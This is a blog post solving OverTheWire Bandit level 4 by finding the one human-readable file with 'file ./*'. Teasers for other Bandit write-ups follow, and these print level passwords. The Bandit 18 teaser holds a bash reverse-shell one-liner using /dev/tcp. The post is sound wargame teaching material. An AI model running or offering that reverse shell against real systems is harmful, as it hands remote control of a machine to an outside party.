Skip to main content

Bandit 4 Over The Wire

Lessons learned

file tells you what type of data is found in the file, ./* Will act on all file in a folder

Logging into Bandit 4

On a kali vm/ linux machine
Type:

ssh bandit4@bandit.labs.overthewire.org -p 2220  
pIwrPrtPN36QITSp3EQaw936yaFoFgAB

Completing The Challenge

The Goal:

password for next level located in the only human-readable file in the inhere director
The Solution:

bandit4@bandit:~$ ls inhere 
bandit4@bandit:~$ cd inhere/ 
bandit4@bandit:~/inhere$ ls 
-file00 -file02 -file04 -file06 -file08 
-file01 -file03 -file05 -file07 -file09 
bandit4@bandit:~/inhere$ file ./* 
./-file00: data 
./-file01: data 
./-file02: data 
./-file03: data 
./-file04: data 
./-file05: data 
./-file06: data 
./-file07: ASCII text 
./-file08: data 
./-file09: data 
bandit4@bandit:~/inhere$ cat ./-file07 
koReBOKuIDDepwhWk7jZC0RTdopnAYKh

the file command tells you what kind of file a certain file is, the * is a wildcard so by using ./(this directory) in conjunction with * the wildcard we tell the file command to check all the files in the directory and tell us what type of file they are, data means binary/gibberish that computers understand ascii is one of the formats available for text that is human readable.

Comments

Popular posts from this blog

Bandit 12 Over The Wire

Lessons Learned extracting and decompressing files using the following tools: file, xxd -r, gunzip, bunsip2, and tar -xf Logging in On a kali vm/ linux machine Type: ssh bandit12@bandit.labs.overthewire.org -p 2220  5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu Completing The Challenge The Goal: The password for the next level is stored in the file data.txt , which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv (read the manpages!) The Solution:      Revamped:         I decided to write a bash file that solves the problem.                    mkdir /tmp/a_name/                    mv data.txt /tmp/a_name      ...

Bandit 11 Over The Wire

 Lessons Learned using cyberchef for things like rot13 Logging in On a kali vm/ linux machine Type: ssh bandit11@bandit.labs.overthewire.org -p 2220  IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR Completing The Challenge The Goal: The password for the next level is stored in the file data.txt , where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions The Solution: bandit11@bandit:~$ cat data.txt Gur cnffjbeq vf 5Gr8L4qetPEsPk8htqjhRK8XSP6x2RHh   The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu This is known as rot13 and many free websites exist to solve this issue. CyberChef is a very good site/tool for this and can be downloaded

Bandit 18 Over The Wire

Lessons Learned ssh actions for when bashrc has immediate logout, also has advice on some reverse shell one liners Logging in On a kali vm/ linux machine Type: ssh bandit18@bandit.labs.overthewire.org -p 2220 kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd Completing The Challenge The Goal: The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH. The Solution: kali@kali:~$ ssh bandit18@bandit.labs.overthewire.org -p 2220 'cat ~/readme' This is a OverTheWire game server. More information on http://www.overthewire.org/wargames bandit18@bandit.labs.overthewire.org's password: IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x Ive made reverse shells by doing one liner tcp calls using stuff like the following in the single quotes and by mixing commands using like the following: bash -i > & /dev/tcp/10.0.0.1/8080 0 > & 1